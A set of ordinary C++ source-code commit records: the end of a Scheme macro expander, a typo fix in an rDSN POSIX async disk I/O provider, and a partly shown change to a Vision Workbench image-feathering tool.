push_tail_cons_list(&place->second, i.second);
}
}
match_obj.insert(begin(acc_map), end(acc_map));
return match_obj;
}
if(f_i == f_e) break; // this check is delayed to here, for checking the ellipsis.
auto m = try_match_1(sr, ignore_ident, *p_i, form_env, *f_i);
match_obj.insert(begin(m), end(m));
assert(f_i != f_e);
++f_i;
}
assert((p_i == p_e) || (f_i == f_e));
if((p_i == p_e) && (f_i == f_e)){
return match_obj;
}else{
throw try_match_failed();
}
}else{
if(equal_internal(pattern, form)){
return {};
}else{
throw try_match_failed();
}
}
}
EqHashMap remake_matchobj(const EqHashMap& match_obj, int pick_depth){
EqHashMap ret;
for(auto i : match_obj){
if(i.second.tag() == Ptr_tag::cons){
auto ci = begin(i.second);
std::advance(ci, pick_depth);
if(ci){
ret.insert({i.first, *ci});
continue;
}
}
ret.insert({i.first, {}});
}
return ret;
}
Lisp_ptr expand(ExpandMap&, const EqHashMap&,
const SyntaxRules&, Lisp_ptr);
template<typename Iter, typename Fun>
Iter expand_seq(ExpandMap& expand_ctx,
const EqHashMap& match_obj,
const SyntaxRules& sr,
Iter i_begin,
Iter i_end,
Fun push_handler){
auto i = i_begin;
for(; i != i_end; ++i){
auto i_next = next(i);
// check ellipsis
if((i_next != i_end) && is_ellipsis(*i_next)){
int depth = 0;
while(1){
auto emap = remake_matchobj(match_obj, depth);
try{
auto ex = expand(expand_ctx, emap, sr, *i);
push_handler(ex);
++depth;
}catch(const expand_failed& e){
break;
}
}
++i;
}else{
auto ex = expand(expand_ctx, match_obj, sr, *i);
push_handler(ex);
}
}
return i;
}
Lisp_ptr expand(ExpandMap& expand_ctx,
const EqHashMap& match_obj,
const SyntaxRules& sr,
Lisp_ptr tmpl){
if(identifierp(tmpl)){
auto m_ret = match_obj.find(tmpl);
if(m_ret != match_obj.end()){
if(m_ret->second){
return m_ret->second;
}else{
throw expand_failed();
}
}
// close to pattern variable
if(tmpl.tag() == Ptr_tag::symbol){
if(is_literal_identifier(sr, tmpl)){
return tmpl;
}
auto iter = expand_ctx.find(tmpl);
if(iter != expand_ctx.end()){
return iter->second;
}else{
auto new_sc = zs_new<SyntacticClosure>(sr.env(), Cons::NIL, tmpl);
expand_ctx.insert({tmpl, new_sc});
return new_sc;
}
}else if(tmpl.tag() == Ptr_tag::syntactic_closure){
return tmpl;
}else{
UNEXP_DEFAULT();
}
}else if(tmpl.tag() == Ptr_tag::cons){
if(nullp(tmpl)) return tmpl;
GrowList gl;
auto last =
expand_seq(expand_ctx, match_obj, sr,
begin(tmpl), end(tmpl),
[&](Lisp_ptr ex){ gl.push(ex); });
auto ex = expand(expand_ctx, match_obj, sr, last.base());
return gl.extract_with_tail(ex);
}else if(tmpl.tag() == Ptr_tag::vector){
auto t_vec = tmpl.get<Vector*>();
Vector vec;
expand_seq(expand_ctx, match_obj, sr,
begin(*t_vec), end(*t_vec),
[&](Lisp_ptr ex){ vec.push_back(ex); });
return zs_new<Vector>(move(vec));
}else{
return tmpl;
}
}
} // namespace
constexpr ProcInfo SyntaxRules::sr_procinfo;
SyntaxRules::SyntaxRules(Env* e, Lisp_ptr lits, Lisp_ptr rls)
: env_(e), literals_(lits), rules_(rls), name_(){
for(auto i = begin(lits); i; ++i){
check_identifier_type(*i);
}
for(auto i = begin(rls); i; ++i){
auto pat_i = begin(*i);
auto tmpl_i = next(pat_i);
if(next(tmpl_i)){
throw_zs_error(*i, "invalid pattern: too long");
}
check_pattern(*this, *pat_i);
}
}
SyntaxRules::~SyntaxRules() = default;
Lisp_ptr SyntaxRules::apply(Lisp_ptr form, Env* form_env) const{
for(auto i = begin(rules()); i; ++i){
auto pat = nth_cons_list<0>(*i);
auto tmpl = nth_cons_list<1>(*i);
auto ignore_ident = pick_first(pat);
try{
auto match_ret = try_match_1(*this, ignore_ident, pat, form_env, form);
ExpandMap expand_ctx;
return expand(expand_ctx, match_ret, *this, tmpl);
}catch(const try_match_failed& e){
continue;
}catch(const expand_failed& e){
throw_zs_error(form, "expand failed!");
}
}
throw_zs_error(form, "no matching pattern found!");
}
<|endoftext|> |
<commit_before>/*
* The MIT License (MIT)
*
* Copyright (c) 2015 Microsoft Corporation
*
* -=- Robust Distributed System Nucleus (rDSN) -=-
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
# include "native_aio_provider.posix.h"
# ifdef DSN_PLATFORM_POSIX
# include <aio.h>
# include <fcntl.h>
# include <cstdlib>
# ifdef __TITLE__
# undef __TITLE__
# endif
# define __TITLE__ "aio.provider.posix"
namespace dsn {
namespace tools {
native_posix_aio_provider::native_posix_aio_provider(disk_engine* disk, aio_provider* inner_provider)
: aio_provider(disk, inner_provider)
{
}
native_posix_aio_provider::~native_posix_aio_provider()
{
}
handle_t native_posix_aio_provider::open(const char* file_name, int flag, int pmode)
{
return (handle_t)::open(file_name, flag, pmode);
}
error_code native_posix_aio_provider::close(handle_t hFile)
{
// TODO: handle failure
::close(static_cast<int>(hFile));
return ERR_SUCCESS;
}
struct posix_disk_aio_context : public disk_aio
{
struct aiocb cb;
aio_task* tsk;
native_posix_aio_provider* this_;
utils::notify_event* evt;
error_code err;
uint32_t bytes;
};
disk_aio_ptr native_posix_aio_provider::prepare_aio_context(aio_task* tsk)
{
auto r = new posix_disk_aio_context;
bzero((char*)&r->cb, sizeof(r->cb));
r->tsk = tsk;
r->evt = nullptr;
return disk_aio_ptr(r);
}
void native_posix_aio_provider::aio(aio_task_ptr& aio_tsk)
{
aio_internal(aio_tsk, true);
}
void aio_completed(sigval sigval)
{
auto ctx = (posix_disk_aio_context *)sigval.sival_ptr;
int err = aio_error(&ctx->cb);
if (err != EINPROGRESS)
{
if (err != 0)
{
derror(""file operation failed, errno = %d", errno);
}
size_t bytes = aio_return(&ctx->cb); // from e.g., read or write
if (!ctx->evt)
{
aio_task_ptr aio(ctx->tsk);
ctx->this_->complete_io(aio, err == 0 ? ERR_SUCCESS : ERR_FILE_OPERATION_FAILED, bytes);
}
else
{
ctx->err = err == 0 ? ERR_SUCCESS : ERR_FILE_OPERATION_FAILED;
ctx->bytes = bytes;
ctx->evt->notify();
}
}
}
error_code native_posix_aio_provider::aio_internal(aio_task_ptr& aio_tsk, bool async, __out_param uint32_t* pbytes /*= nullptr*/)
{
auto aio = (posix_disk_aio_context *)aio_tsk->aio().get();
int r;
aio->this_ = this;
aio->cb.aio_fildes = static_cast<int>((ssize_t)aio->file);
aio->cb.aio_buf = aio->buffer;
aio->cb.aio_nbytes = aio->buffer_size;
aio->cb.aio_offset = aio->file_offset;
// set up callback
aio->cb.aio_sigevent.sigev_notify = SIGEV_THREAD;
aio->cb.aio_sigevent.sigev_notify_function = aio_completed;
aio->cb.aio_sigevent.sigev_notify_attributes = nullptr;
aio->cb.aio_sigevent.sigev_value.sival_ptr = aio;
if (!async)
{
aio->evt = new utils::notify_event();
aio->err = ERR_SUCCESS;
aio->bytes = 0;
}
switch (aio->type)
{
case AIO_Read:
r = aio_read(&aio->cb);
break;
case AIO_Write:
r = aio_write(&aio->cb);
break;
default:
dassert (false, "unknown aio type %u", static_cast<int>(aio->type));
break;
}
if (r < 0)
{
derror("file op faile, err = %d", errno);
if (async)
{
complete_io(aio_tsk, ERR_FILE_OPERATION_FAILED, 0);
}
else
{
delete aio->evt;
aio->evt = nullptr;
}
return ERR_FILE_OPERATION_FAILED;
}
else
{
if (async)
{
return ERR_IO_PENDING;
}
else
{
aio->evt->wait();
delete aio->evt;
aio->evt = nullptr;
*pbytes = aio->bytes;
return aio->err;
}
}
}
}
} // end namespace dsn::tools
#endif
<commit_msg>fix nits<commit_after>/*
* The MIT License (MIT)
*
* Copyright (c) 2015 Microsoft Corporation
*
* -=- Robust Distributed System Nucleus (rDSN) -=-
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
# include "native_aio_provider.posix.h"
# ifdef DSN_PLATFORM_POSIX
# include <aio.h>
# include <fcntl.h>
# include <cstdlib>
# ifdef __TITLE__
# undef __TITLE__
# endif
# define __TITLE__ "aio.provider.posix"
namespace dsn {
namespace tools {
native_posix_aio_provider::native_posix_aio_provider(disk_engine* disk, aio_provider* inner_provider)
: aio_provider(disk, inner_provider)
{
}
native_posix_aio_provider::~native_posix_aio_provider()
{
}
handle_t native_posix_aio_provider::open(const char* file_name, int flag, int pmode)
{
return (handle_t)::open(file_name, flag, pmode);
}
error_code native_posix_aio_provider::close(handle_t hFile)
{
// TODO: handle failure
::close(static_cast<int>(hFile));
return ERR_SUCCESS;
}
struct posix_disk_aio_context : public disk_aio
{
struct aiocb cb;
aio_task* tsk;
native_posix_aio_provider* this_;
utils::notify_event* evt;
error_code err;
uint32_t bytes;
};
disk_aio_ptr native_posix_aio_provider::prepare_aio_context(aio_task* tsk)
{
auto r = new posix_disk_aio_context;
bzero((char*)&r->cb, sizeof(r->cb));
r->tsk = tsk;
r->evt = nullptr;
return disk_aio_ptr(r);
}
void native_posix_aio_provider::aio(aio_task_ptr& aio_tsk)
{
aio_internal(aio_tsk, true);
}
void aio_completed(sigval sigval)
{
auto ctx = (posix_disk_aio_context *)sigval.sival_ptr;
int err = aio_error(&ctx->cb);
if (err != EINPROGRESS)
{
if (err != 0)
{
derror("file operation failed, errno = %d", errno);
}
size_t bytes = aio_return(&ctx->cb); // from e.g., read or write
if (!ctx->evt)
{
aio_task_ptr aio(ctx->tsk);
ctx->this_->complete_io(aio, err == 0 ? ERR_SUCCESS : ERR_FILE_OPERATION_FAILED, bytes);
}
else
{
ctx->err = err == 0 ? ERR_SUCCESS : ERR_FILE_OPERATION_FAILED;
ctx->bytes = bytes;
ctx->evt->notify();
}
}
}
error_code native_posix_aio_provider::aio_internal(aio_task_ptr& aio_tsk, bool async, __out_param uint32_t* pbytes /*= nullptr*/)
{
auto aio = (posix_disk_aio_context *)aio_tsk->aio().get();
int r;
aio->this_ = this;
aio->cb.aio_fildes = static_cast<int>((ssize_t)aio->file);
aio->cb.aio_buf = aio->buffer;
aio->cb.aio_nbytes = aio->buffer_size;
aio->cb.aio_offset = aio->file_offset;
// set up callback
aio->cb.aio_sigevent.sigev_notify = SIGEV_THREAD;
aio->cb.aio_sigevent.sigev_notify_function = aio_completed;
aio->cb.aio_sigevent.sigev_notify_attributes = nullptr;
aio->cb.aio_sigevent.sigev_value.sival_ptr = aio;
if (!async)
{
aio->evt = new utils::notify_event();
aio->err = ERR_SUCCESS;
aio->bytes = 0;
}
switch (aio->type)
{
case AIO_Read:
r = aio_read(&aio->cb);
break;
case AIO_Write:
r = aio_write(&aio->cb);
break;
default:
dassert (false, "unknown aio type %u", static_cast<int>(aio->type));
break;
}
if (r < 0)
{
derror("file op faile, err = %d", errno);
if (async)
{
complete_io(aio_tsk, ERR_FILE_OPERATION_FAILED, 0);
}
else
{
delete aio->evt;
aio->evt = nullptr;
}
return ERR_FILE_OPERATION_FAILED;
}
else
{
if (async)
{
return ERR_IO_PENDING;
}
else
{
aio->evt->wait();
delete aio->evt;
aio->evt = nullptr;
*pbytes = aio->bytes;
return aio->err;
}
}
}
}
} // end namespace dsn::tools
#endif
<|endoftext|> |
<commit_before>#include <vw/FileIO.h>
#include <vw/Image.h>
#include <vw/Math.h>
#include <vw/Cartography.h>
using namespace vw;
#include <boost/program_options.hpp>
#include <boost/type_traits.hpp>
#include <boost/utility/enable_if.hpp>
namespace po = boost::program_options;
// Function for highlighting spots of data
template<class PixelT>
class NotNoDataFunctor {
typedef typename CompoundChannelType<PixelT>::type channel_type;
channel_type m_nodata;
typedef ChannelRange<channel_type> range_type;
public:
NotNoDataFunctor( channel_type nodata ) : m_nodata(nodata) {}
template <class Args> struct result {
typedef channel_type type;
};
inline channel_type operator()( channel_type const& val ) const {
return val != m_nodata ? range_type::max() : range_type::min();
}
};
template <class ImageT, class NoDataT>
UnaryPerPixelView<ImageT,UnaryCompoundFunctor<NotNoDataFunctor<typename ImageT::pixel_type>, typename ImageT::pixel_type> >
inline notnodata( ImageViewBase<ImageT> const& image, NoDataT nodata ) {
typedef UnaryCompoundFunctor<NotNoDataFunctor<typename ImageT::pixel_type>, typename ImageT::pixel_type> func_type;
func_type func( nodata );
return UnaryPerPixelView<ImageT,func_type>( image.impl(), func );
}
// Linear Transfer Function
class LinearTransFunc : public vw::UnaryReturnSameType {
public:
LinearTransFunc() {}
template <class ArgT>
ArgT operator()( ArgT const& value ) const { return value; }
};
// Cosine Transfer Function (this tracks 180 degrees with level at high and low)
template <class PixelT>
class CosineTransFunc : public vw::UnaryReturnSameType {
typedef typename CompoundChannelType<PixelT>::type channel_type;
typedef ChannelRange<channel_type> range_type;
public:
CosineTransFunc() {}
template <class ArgT>
inline typename boost::enable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
return range_type::max()*((1.0-cos(value/float(range_type::max())*M_PI))/2.0);
}
template <class ArgT>
inline typename boost::disable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
ArgT result = range_type::max()*((1.0-cos(float(value)/float(range_type::max())*M_PI))/2.0);
if ( result == 0 && value != 0 )
result = 1;
return result;
}
};
// 90 degree Cosine transfer function ( high slope at beginning and low slope at end )
template <class PixelT>
class Cosine90TransFunc : public vw::UnaryReturnSameType {
typedef typename CompoundChannelType<PixelT>::type channel_type;
typedef ChannelRange<channel_type> range_type;
public:
Cosine90TransFunc() {}
template <class ArgT>
inline typename boost::enable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
return range_type::max()*(-cos(value/float(range_type::max())*(M_PI/2.0) + M_PI/2.0));
}
template <class ArgT>
inline typename boost::disable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
ArgT result = range_type::max()*(-cos(float(value)/float(range_type::max())*(M_PI/2.0) + M_PI/2.0));
if ( result == 0 && value != 0 )
result = 1;
return result;
}
};
// Function to zip 2 images into content and alpha image
template <class Arg1T, class Arg2T>
struct CreateAlphaFunc: public ReturnFixedType<typename PixelWithAlpha<Arg1T>::type > {
typedef typename PixelWithAlpha<Arg1T>::type result_type;
inline result_type operator()(Arg1T const& arg1,
Arg2T const& arg2 ) const {
result_type t(arg1);
t.a() = arg2;
return t;
}
};
template <class Image1T, class Image2T>
inline BinaryPerPixelView<Image1T, Image2T, CreateAlphaFunc<typename Image1T::pixel_type, typename Image2T::pixel_type> >
create_alpha( ImageViewBase<Image1T> const& image1,
ImageViewBase<Image2T> const& image2 ) {
typedef CreateAlphaFunc<typename Image1T::pixel_type, typename Image2T::pixel_type> func_type;
return BinaryPerPixelView<Image1T, Image2T, func_type >(image1.impl(), image2.impl(), func_type());
}
struct Options {
Options() : nodata(-1), feather_length(0) {}
// Input
std::vector<std::string> input_files;
// Settings
double nodata;
int feather_length;
std::string filter;
std::string output_format;
};
// Operation code for data that uses nodata
template <class PixelT>
void grassfire_nodata( Options& opt,
std::string input,
std::string output ) {
cartography::GeoReference georef;
cartography::read_georeference(georef, input);
DiskImageView<PixelT> input_image(input);
ImageView<int32> distance = grassfire(notnodata(input_image,opt.nodata));
int32 max = opt.feather_length;
if ( max < 1 )
max = max_pixel_value( distance );
vw_out() << "\tMax distance: " << max << "\n";
typedef typename CompoundChannelType<PixelT>::type inter_type;
typedef ChannelRange<typename CompoundChannelType<PixelT>::type> range_type;
ImageViewRef<inter_type> norm_dist = pixel_cast<inter_type>(range_type::max()*clamp(pixel_cast<float>(distance)/float(max)));
ImageViewRef<typename PixelWithAlpha<PixelT>::type> result;
if ( opt.filter == "linear" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,LinearTransFunc()));
} else if ( opt.filter == "cosine" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,CosineTransFunc<inter_type>()));
} else if ( opt.filter == "cosine90" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,Cosine90TransFunc<inter_type>()));
} else {
vw_throw( ArgumentErr() << "Unknown transfer function " << opt.filter );
}
cartography::write_georeferenced_image(output, result, georef,
TerminalProgressCallback("tools.grassfirealpha","Writing:"));
}
// Same as above but modified for alpha input
template <class PixelT>
void grassfire_alpha( Options& opt,
std::string input,
std::string output ) {
cartography::GeoReference georef;
cartography::read_georeference(georef, input);
DiskImageView<PixelT> input_image(input);
ImageView<int32> distance = grassfire(apply_mask(invert_mask(alpha_to_mask(input_image)),1));
int32 max = opt.feather_length;
if ( max < 1 )
max = max_pixel_value(distance);
vw_out() << "\tMax distance: " << max << "\n";
typedef typename CompoundChannelType<PixelT>::type inter_type;
typedef ChannelRange<typename CompoundChannelType<PixelT>::type> range_type;
ImageViewRef<inter_type> norm_dist = pixel_cast<inter_type>(range_type::max()*clamp(pixel_cast<float>(distance)/float(max)));
ImageViewRef<PixelT> result;
if ( opt.filter == "linear" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,LinearTransFunc()));
} else if ( opt.filter == "cosine" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,CosineTransFunc<inter_type>()));
} else if ( opt.filter == "cosine90" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,Cosine90TransFunc<inter_type>()));
} else {
vw_throw( ArgumentErr() << "Unknown transfer function " << opt.filter );
}
cartography::write_georeferenced_image(output, result, georef,
TerminalProgressCallback("tools.grassfirealpha","Writing:"));
}
// Handling input
void handle_arguments( int argc, char *argv[], Options& opt ) {
po::options_description general_options("");
general_options.add_options()
("nodata-value", po::value(&opt.nodata), "Value that is nodata in the input image. Not used if input has alpha.")
("feather-length,f", po::value(&opt.feather_length)->default_value(0), "Length in pixels to feather from an edge. Default size of zero is to feather to maximum distance in image.")
("transfer-func,t", po::value(&opt.filter)->default_value("cosine"), "Transfer function to used for alpha. [linear, cosine, cosine90]")
("output-format", po::value(&opt.output_format)->default_value("auto"), "File format to use for output files.")
("help,h", "Display this help message");
po::options_description positional("");
positional.add_options()
("input-files", po::value<std::vector<std::string> >(&opt.input_files));
po::positional_options_description positional_desc;
positional_desc.add("input-files", -1);
po::options_description all_options;
all_options.add(general_options).add(positional);
po::variables_map vm;
try {
po::store( po::command_line_parser( argc, argv ).options(all_options).positional(positional_desc).run(), vm );
po::notify( vm );
} catch (po::error &e) {
vw_throw( ArgumentErr() << "Error parsing input:\n\t"
<< e.what() << general_options );
}
std::ostringstream usage;
usage << "Usage: " << argv[0] << " [options] <image-files>\n";
boost::to_lower( opt.filter );
if ( vm.count("help") )
vw_throw( ArgumentErr() << usage.str() << general_options );
if ( opt.input_files.empty() )
vw_throw( ArgumentErr() << "Missing input files!\n"
<< usage.str() << general_options );
}
int main( int argc, char *argv[] ) {
Options opt;
try {
handle_arguments( argc, argv, opt );
BOOST_FOREACH( const std::string& input, opt.input_files ) {
// Determining the format of the input
DiskImageResource *rsrc = DiskImageResource::open(input);
ChannelTypeEnum channel_type = rsrc->channel_type();
PixelFormatEnum pixel_format = rsrc->pixel_format();
// Check for nodata value in the file
if ( rsrc->has_nodata_value() ) {
opt.nodata = rsrc->nodata_value();
std::cout << "\t--> Extracted nodata value from file: " << opt.nodata << ".\n";
}
delete rsrc;
vw_out() << "Loading: " << input << "\n";
size_t pt_idx = input.rfind(".");
std::string output = input.substr(0,pt_idx)+"_grass";
if (opt.output_format == "auto")
output += input.substr(pt_idx,input.size()-pt_idx);
else
output += "." + opt.output_format;
switch (pixel_format) {
case VW_PIXEL_GRAY:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_nodata<PixelGray<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_nodata<PixelGray<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_nodata<PixelGray<uint16> >(opt,input,output); break;
default:
grassfire_nodata<PixelGray<float32> >(opt,input,output); break;
}
break;
case VW_PIXEL_GRAYA:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_alpha<PixelGrayA<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_alpha<PixelGrayA<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_alpha<PixelGrayA<uint16> >(opt,input,output); break;
default:
grassfire_alpha<PixelGrayA<float32> >(opt,input,output); break;
}
break;
case VW_PIXEL_RGB:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_nodata<PixelRGB<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_nodata<PixelRGB<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_nodata<PixelRGB<uint16> >(opt,input,output); break;
default:
grassfire_nodata<PixelRGB<float32> >(opt,input,output); break;
}
break;
default:
switch (channel_type) {
case VW_CHANNEL_UINT8:
grassfire_alpha<PixelRGBA<uint8> >(opt,input,output); break;
case VW_CHANNEL_INT16:
grassfire_alpha<PixelRGBA<int16> >(opt,input,output); break;
case VW_CHANNEL_UINT16:
grassfire_alpha<PixelRGBA<uint16> >(opt,input,output); break;
default:
grassfire_alpha<PixelRGBA<float32> >(opt,input,output); break;
}
break;
}
} // end FOREACH
} catch ( const ArgumentErr& e ) {
vw_out() << e.what() << std::endl;
return 1;
} catch ( const Exception& e ) {
std::cerr << "Error: " << e.what() << std::endl;
return 1;
}
}
<commit_msg>Added a flag to force grassfirealpha to read in images in floating point format. Useful for processing 16-bit integer DEMs as if they had floating point pixels.<commit_after>#include <vw/FileIO.h>
#include <vw/Image.h>
#include <vw/Math.h>
#include <vw/Cartography.h>
using namespace vw;
#include <boost/program_options.hpp>
#include <boost/type_traits.hpp>
#include <boost/utility/enable_if.hpp>
namespace po = boost::program_options;
// Function for highlighting spots of data
template<class PixelT>
class NotNoDataFunctor {
typedef typename CompoundChannelType<PixelT>::type channel_type;
channel_type m_nodata;
typedef ChannelRange<channel_type> range_type;
public:
NotNoDataFunctor( channel_type nodata ) : m_nodata(nodata) {}
template <class Args> struct result {
typedef channel_type type;
};
inline channel_type operator()( channel_type const& val ) const {
return val != m_nodata ? range_type::max() : range_type::min();
}
};
template <class ImageT, class NoDataT>
UnaryPerPixelView<ImageT,UnaryCompoundFunctor<NotNoDataFunctor<typename ImageT::pixel_type>, typename ImageT::pixel_type> >
inline notnodata( ImageViewBase<ImageT> const& image, NoDataT nodata ) {
typedef UnaryCompoundFunctor<NotNoDataFunctor<typename ImageT::pixel_type>, typename ImageT::pixel_type> func_type;
func_type func( nodata );
return UnaryPerPixelView<ImageT,func_type>( image.impl(), func );
}
// Linear Transfer Function
class LinearTransFunc : public vw::UnaryReturnSameType {
public:
LinearTransFunc() {}
template <class ArgT>
ArgT operator()( ArgT const& value ) const { return value; }
};
// Cosine Transfer Function (this tracks 180 degrees with level at high and low)
template <class PixelT>
class CosineTransFunc : public vw::UnaryReturnSameType {
typedef typename CompoundChannelType<PixelT>::type channel_type;
typedef ChannelRange<channel_type> range_type;
public:
CosineTransFunc() {}
template <class ArgT>
inline typename boost::enable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
return range_type::max()*((1.0-cos(value/float(range_type::max())*M_PI))/2.0);
}
template <class ArgT>
inline typename boost::disable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
ArgT result = range_type::max()*((1.0-cos(float(value)/float(range_type::max())*M_PI))/2.0);
if ( result == 0 && value != 0 )
result = 1;
return result;
}
};
// 90 degree Cosine transfer function ( high slope at beginning and low slope at end )
template <class PixelT>
class Cosine90TransFunc : public vw::UnaryReturnSameType {
typedef typename CompoundChannelType<PixelT>::type channel_type;
typedef ChannelRange<channel_type> range_type;
public:
Cosine90TransFunc() {}
template <class ArgT>
inline typename boost::enable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
return range_type::max()*(-cos(value/float(range_type::max())*(M_PI/2.0) + M_PI/2.0));
}
template <class ArgT>
inline typename boost::disable_if<typename boost::is_floating_point<ArgT>,ArgT>::type
operator()( ArgT const& value ) const {
ArgT result = range_type::max()*(-cos(float(value)/float(range_type::max())*(M_PI/2.0) + M_PI/2.0));
if ( result == 0 && value != 0 )
result = 1;
return result;
}
};
// Function to zip 2 images into content and alpha image
template <class Arg1T, class Arg2T>
struct CreateAlphaFunc: public ReturnFixedType<typename PixelWithAlpha<Arg1T>::type > {
typedef typename PixelWithAlpha<Arg1T>::type result_type;
inline result_type operator()(Arg1T const& arg1,
Arg2T const& arg2 ) const {
result_type t(arg1);
t.a() = arg2;
return t;
}
};
template <class Image1T, class Image2T>
inline BinaryPerPixelView<Image1T, Image2T, CreateAlphaFunc<typename Image1T::pixel_type, typename Image2T::pixel_type> >
create_alpha( ImageViewBase<Image1T> const& image1,
ImageViewBase<Image2T> const& image2 ) {
typedef CreateAlphaFunc<typename Image1T::pixel_type, typename Image2T::pixel_type> func_type;
return BinaryPerPixelView<Image1T, Image2T, func_type >(image1.impl(), image2.impl(), func_type());
}
struct Options {
Options() : nodata(-1), feather_length(0) {}
// Input
std::vector<std::string> input_files;
// Settings
double nodata;
int feather_length;
std::string filter;
std::string output_format;
bool force_float;
};
// Operation code for data that uses nodata
template <class PixelT>
void grassfire_nodata( Options& opt,
std::string input,
std::string output ) {
cartography::GeoReference georef;
cartography::read_georeference(georef, input);
DiskImageView<PixelT> input_image(input);
ImageView<int32> distance = grassfire(notnodata(input_image,opt.nodata));
int32 max = opt.feather_length;
if ( max < 1 )
max = max_pixel_value( distance );
vw_out() << "\tMax distance: " << max << "\n";
typedef typename CompoundChannelType<PixelT>::type inter_type;
typedef ChannelRange<typename CompoundChannelType<PixelT>::type> range_type;
ImageViewRef<inter_type> norm_dist = pixel_cast<inter_type>(range_type::max()*clamp(pixel_cast<float>(distance)/float(max)));
ImageViewRef<typename PixelWithAlpha<PixelT>::type> result;
if ( opt.filter == "linear" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,LinearTransFunc()));
} else if ( opt.filter == "cosine" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,CosineTransFunc<inter_type>()));
} else if ( opt.filter == "cosine90" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,Cosine90TransFunc<inter_type>()));
} else {
vw_throw( ArgumentErr() << "Unknown transfer function " << opt.filter );
}
cartography::write_georeferenced_image(output, result, georef,
TerminalProgressCallback("tools.grassfirealpha","Writing:"));
}
// Same as above but modified for alpha input
template <class PixelT>
void grassfire_alpha( Options& opt,
std::string input,
std::string output ) {
cartography::GeoReference georef;
cartography::read_georeference(georef, input);
DiskImageView<PixelT> input_image(input);
ImageView<int32> distance = grassfire(apply_mask(invert_mask(alpha_to_mask(input_image)),1));
int32 max = opt.feather_length;
if ( max < 1 )
max = max_pixel_value(distance);
vw_out() << "\tMax distance: " << max << "\n";
typedef typename CompoundChannelType<PixelT>::type inter_type;
typedef ChannelRange<typename CompoundChannelType<PixelT>::type> range_type;
ImageViewRef<inter_type> norm_dist = pixel_cast<inter_type>(range_type::max()*clamp(pixel_cast<float>(distance)/float(max)));
ImageViewRef<PixelT> result;
if ( opt.filter == "linear" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,LinearTransFunc()));
} else if ( opt.filter == "cosine" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,CosineTransFunc<inter_type>()));
} else if ( opt.filter == "cosine90" ) {
result = create_alpha(input_image,per_pixel_filter(norm_dist,Cosine90TransFunc<inter_type>()));
} else {
vw_throw( ArgumentErr() << "Unknown transfer function " << opt.filter );
}
cartography::write_georeferenced_image(output, result, georef,
TerminalProgressCallback("tools.grassfirealpha","Writing:"));
}
// Handling input
void handle_arguments( int argc, char *argv[], Options& opt ) {
unsigned cache_size;
po::options_description general_options("");
general_options.add_options()
("nodata-value", po::value(&opt.nodata), "Value that is nodata in the input image. Not used if input has alpha.")
("feather-length,f", po::value(&opt.feather_length)->default_value(0), "Length in pixels to feather from an edge. Default size of zero is to feather to maximum distance in image.")
